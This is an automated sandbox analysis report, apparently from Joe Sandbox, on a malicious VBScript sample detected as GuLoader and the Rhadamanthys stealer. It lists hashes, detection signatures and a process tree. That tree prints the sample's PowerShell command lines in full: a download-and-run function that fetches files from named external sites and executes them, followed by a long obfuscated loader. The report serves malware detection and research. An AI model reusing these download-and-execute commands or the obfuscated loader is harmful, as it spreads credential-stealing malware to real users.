Edit tour
Windows
Analysis Report
YinLHGpoX4.vbs
Overview
General Information
| Sample name: | YinLHGpoX4.vbsrenamed because original name is a hash value |
| Original sample name: | 4229e57e86a1cf7074841b4a3020b8d9c7c9e8024de9d4b31cea02b3c1879b3c.vbs |
| Analysis ID: | 1578231 |
| MD5: | 1c13faf06926c36c9b8abc23ab38e1eb |
| SHA1: | 4085a7d8203165b83cd7283348a775d5db0ffbe1 |
| SHA256: | 4229e57e86a1cf7074841b4a3020b8d9c7c9e8024de9d4b31cea02b3c1879b3c |
| Tags: | 185-236-228-9287-120-112-91vbswww-al-rasikh-comuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader, RHADAMANTHYS
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7544 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\YinLH GpoX4.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7592 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command f unction Do wnloadAndR un([string ]$url, [st ring]$dest ination) { Invoke-We bRequest - Uri $url - OutFile $d estination ; Start-P rocess -Fi lePath $de stination -Wait };Do wnloadAndR un -url 'h ttps://www .astenterp rises.com. pk/lm/lm.v bs' -desti nation 'C: \Users\Pub lic\k9o5xs 1hnem9ja8a .vbs';Down loadAndRun -url 'htt ps://www.f tsengineer s.com/lm/L ist%20of%2 0required% 20items%20 and%20serv ices.doc' -destinati on 'C:\Use rs\Public\ pqg5u7vt.d oc' MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 7600 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7820 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \k9o5xs1hn em9ja8a.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WMIC.exe (PID: 7872 cmdline: wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7880 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7968 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Realite tsbehandle r='Clairse ntient';;$ opdragerfu nktion='Ni kau';;$Amo ntilladoer ='Brucello sis';;$Sku ldret='Pic ker74';;$S upercanoni sation=$ho st.Name; f unction Ko mmaernes($ Outbidder) {If ($Supe rcanonisat ion) {$Ned blndedes=' Medbringe' ;$Brions=2 ;$Oakling= $Brions}do {$stratigr apher+=$Ou tbidder[$O akling];$O akling+=3} until(!$O utbidder[$ Oakling])$ stratigrap her}functi on Satssta tistikken( $Vridning1 50){ .($mi sscribed) ($Vridning 150)}$spit efullest=K ommaernes ' yn DEbyt .h. VW';$s pitefulles t+=Kommaer nes 'abePe BU.CDiLPii eeD.n,vt' ;$gedeskin dene=Komma ernes ',nM J oP zU iA lCllCoa . /';$Amatre n=Kommaern es ' aTTrl isIn1 C2' ;$Oaklingn ddragelses ='Sr[ FN.n eChtDe. Bs DeSyR.vVA rIKncUneNu P toE iBaN B.T,uMReA UnC APhgE EPrRn ]Bo: A : Hs oeF ocGlUherM i Tt,yT P, krA,OSlT k oo c rO FL Ga= i$ Ca mGra DT MR rEM N';$g edeskinden e+=Kommaer nes 'A 5,e .Ov0 F(C WH,ibenOpd Glo w sS, GdNS TCh S 1Kw0py. R 0Es;fu ReW ByiD nFa6F ,4Fl;O Vax Sk6 w4Ou;O t or ovS : .1S 3Fn1S y.F 0gr)Pu FGBreDecP kBioly/Fa 2 C0Cu1Be0 Mo0Ko1Fe0B l1 , FeF o i,er Ie af BkoA xCh/B i1 i3Se1.a .Be0';$Enk emnds=Komm aernes ',u UStS eE ,R ac-BoaStg FE ,NTat'; $Multilobu late=Komma ernes 'Knh ,utCotS p CsCi: / /G lw.sw,owd .F tA,d.ee H jWab B.s tcMeoAamFr / nk ipox/ ReRA eTai asEusFou,n e arPr. Gx n.s An B> ahPit BtHu p sD :Mo/E x/ w,ywT,w Ta.Urf DtM sShe snSo g,oi lnCee K,e.yrM.si n.LacSko M mSk/djkFam D/TaROmeP .i sB s eu HePur O. ,xSus un'; $Tunneling =Kommaerne s 'Fo>';$m isscribed= Kommaernes 'K,i xeGl x';$Allier es24='dals nkning';$M edicates=' \Dyrehospi talerne.Gr a';Satssta tistikken (Kommaerne s ' f$IsGD rl o eB uA .aLFa:Tre .VdeaInS T iOpoImNLee A.rInS c=R e$EyEF.N N VT,:.aaGap Unp AdSlA ft A ,+ o$ mbee DSti Ic ha KTK oEGys');Sa tsstatisti kken (Komm aernes 'In $.igKoLVaO OvbUnASwlO r: riInNSt uJanMaCNiT Hou VoblU SsSa= M$Sl mbeU PlGlt Pi RLIlOL oblruM,l a aFot ZEAr. UdsFlPCrL Fi lt A(Ja $c,TImUBoN A,nK,ENel eIExNIngO, )');Satsst atistikken (Kommaern es $Oaklin gnddragels es);$Multi lobulate=$ Inunctuous [0];$Press urized=(Ko mmaernes ' Ci$TiGPolI sOTibU.ADr Lf :Fod Oe FofP rB O Tc k =S NS ,eGiwMu-Cy oWhBRyJ eA rC Otdy Af SSvySpS HT GeOvm K. B$ResLePUn ISyTBoE KF euFrlFaL eWis ,t'); Satsstatis tikken ($P ressurized );Satsstat istikken ( Kommaernes 'De$Swd e UnfPar FoF c.rkH,. r HUle IaNad aePrrS,sD g[Tr$.aEF nTrkSue Sm TnMud sUn ]S,=Fo$L g Ste.edKve s UkSci an TadMae lnS ee');$Stoi kerne=Komm aernes 'S, $sod LeDyf I rNeo .cc akFa.VaDBr oPaw anFrl LaoFoa TdC F ri,olBi eDo(C $DaM tuu Kl Lt Oi Ol AoO b Iu ml na UotBieEr,.